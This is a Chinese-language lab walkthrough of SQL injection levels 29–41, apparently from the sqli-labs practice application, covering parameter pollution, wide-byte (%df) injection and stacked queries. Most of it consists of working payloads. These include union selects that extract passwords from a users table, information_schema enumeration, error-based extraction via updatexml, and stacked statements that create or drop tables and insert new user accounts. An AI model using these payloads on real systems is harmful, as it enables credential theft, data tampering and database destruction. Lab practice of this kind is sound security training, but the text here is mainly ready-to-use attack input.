29 参数污染
1 | # login.php |
1 | explode(separator,string,limit) 函数把字符串打散为数组。 |
对于login.php?id=1&id=2
apache(php)会解析最后一个参数,tomcat(jsp)会解析第一个参数,第一个id
会经过whitelist()
和java_implimentation()
whitelist()
作用是传入的参数必须是一位及以上的数字
java_implimentation()
用&
分割字符串为两部分,然后进行数组遍历,如果字符前两位为id,那么返回它的3-30位字符
参数污染 id=1 & id=0' union select 1,2,'3
可以参考
https://blog.csdn.net/nzjdsds/article/details/77758824
30 参数污染
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
和上一关差不多 双引号闭合
?id=1&id=-1" union select 1,2,"3
?id=12&id=-1" union select 1,(select password from users limit 0,1),"3
31 参数污染
1 | $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; |
?id=12&id=-1") union select 1,(select password from users limit 0,1),("3
32 宽字节注入
?id=1%df%27%20union%20select%201,2,3%20--+
?id=0%df%27%20union%20select%201,database(),3%20--+
?id=0%df%27%20union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),3%20--+
在查字段名的时候需要把'users'
转成16进制,16进制的表名不需要引号
0x7573657273
?id=0%df%27%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273%20limit%200,1),3%20--+
33 宽字节注入
和32一模一样
?id=1%df%27%20and%201=1%20--+
34 宽字节注入(POST)
过滤方式和上面的一样,可以使用burp直接传,不过POST传入数据时会进行url编码,
在输入
1%df or 1=1#
后抓包可以看到前面的%df
变成了%25df
uname=1%25df%27+or+1%3D1%23&passwd=aa&submit=Submit
修改一下即可
35 宽字节注入
和32差不多 只不过这里是字符型,不需要'
闭合
?id=0 union select 1,database(),3
36 宽字节注入
和前面一样
?id=0%df%27%20union%20select%201,2,3--+
?id=0%df%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+
37 宽字节注入(POST)
和34一样
38 堆叠注入
1 |
|
mysqli_multi_query()
堆叠注入,多个查询用;
分隔
参考https://www.cnblogs.com/lcamry/p/5762905.html
?id=1';create table test like users --+
发现数据库中新建了名的test
的表
?id=1';drop table test; --+
删除test
表
在uers
表添加数据
?id=1';insert into users(id,username,password) values('25','Mamor','Mamor')--+
39 堆叠注入
1 | $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; |
数字型 不需要闭合
?id=1;insert into users(id,username,password) values('26','Mamor','Mamor') --+
40 堆叠注入
1 | $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; |
?id=1') ; insert into users(id,username,password) values('40','Mamor','Mamor')--+
41 堆叠注入
?id=2-1 --+
和?id=1 --+
返回结果一样
可以判断是数字型,和39一样
?id=1 ; insert into users(id,username,password) values('40','Mamor','Mamor')--+